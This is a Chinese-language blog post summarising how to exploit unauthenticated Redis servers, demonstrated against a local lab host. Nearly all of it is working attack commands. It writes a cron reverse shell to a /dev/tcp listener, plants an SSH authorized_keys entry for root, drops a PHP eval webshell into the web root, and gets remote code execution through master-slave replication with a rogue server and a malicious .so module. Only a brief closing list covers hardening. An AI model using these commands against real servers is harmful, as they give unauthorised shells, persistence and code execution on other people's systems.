Redis利用总结

发布于 2023-02-27  1082 次阅读


Redis利用总结

环境配置

开启远程连接

image-20230226150102593

将下面这个已经绑定本地的配置注释掉就可

关闭保护模式

image-20230227095044323

将配置文件中protected-mode 的值改为no

利用计划任务反弹shell

先连接到远程redis服务器

redis-cli -h 192.168.80.138

在redis中写入计划任务并保存到磁盘

set xxx "\n* * * * * bash -i >& /dev/tcp/192.168.80.138/6666 0>&1\n"

config set dir /var/spool/cron/ 

config set dbfilename root

save

注意:不同的linux发行版本crontab文件的路径不同

  • 在基于 Red Hat 的发行版系统,如 CentOS,crontab 该文件的存储在/var/spool/cron/目录下;
  • Debian 、Ubuntu等系统中,该文件存储在/var/spool/cron/crontabs/目录下。

因为我的测试环境是redis-7.0.8,在执行config set dir /var/spool/cron/ 操作时,发生错误

(error) ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config

网上说是对目录没有写入权限,我将权限修改之后

成功获取shell

Redis 密钥登录ssh

在本地生成ssh密钥公钥

ssh-keygen -t rsa

于是生成了两个文件

id_rsa id_rsa.pub

为了防止编码问题,将公钥导出到文本文件中

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

将公钥写入redis中

cat key.txt | redis-cli -h 192.168.80.138 --pass 密码 -x set xxx

如果redis没有设置密码可以省略--pass参数

成功写入缓存后,修改配置文件将缓存写入/root/.ssh

 config set dir /root/.ssh

config set dbfilename authorized_keys

save

ssh远程登录

ssh -i id_rsa root@192.168.80.138

Redis 写入webshell

写入webshell比较简单,也是利用Redis的保存文件功能,将一句话写入网站目录中

redis-cli -h 192.168.80.138

set one "\n\n\n<?php @eval($_POST['1']);?>\n\n\n"

config set dir  /var/www/html/

config set dbfilename shell.php

save

Redis 主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。在redis 4.x之后,通过外部拓展可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

利用工具

redis-rogue-server

Awsome-Redis-Rogue-Server

python3 redis_rogue_server.py -rhost 192.168.80.138 -lhost 192.168.80.128 

image-20230227145139381

本地主从复制RCE

利用工具Awsome-Redis-Rogue-Server可以模拟一个redis服务器,通过被攻击主机的redis从模拟的redis服务器上复制数据

python3 redis_rogue_server.py  
config set dir /tmp

config set dbfilename module.so

slaveof 192.168.80.128 15000

module load ./module.so

slaveof NO ONE    # 可以将连接的redis主服务器断开连接

image-20230227154218558

当然反弹shell后并不稳定,可以切换shell

python -c "import pty;pty.spawn("/bin/bash")"

Redis安全设置

  • requirepass 设置redis密码
  • bind 127.0.0.1 绑定内网ip地址
  • protected-mode yes 开启保护模式(默认开启)
  • 可以更改端口
  • 为redis单独设置一个普通账号,使用该账号启动redis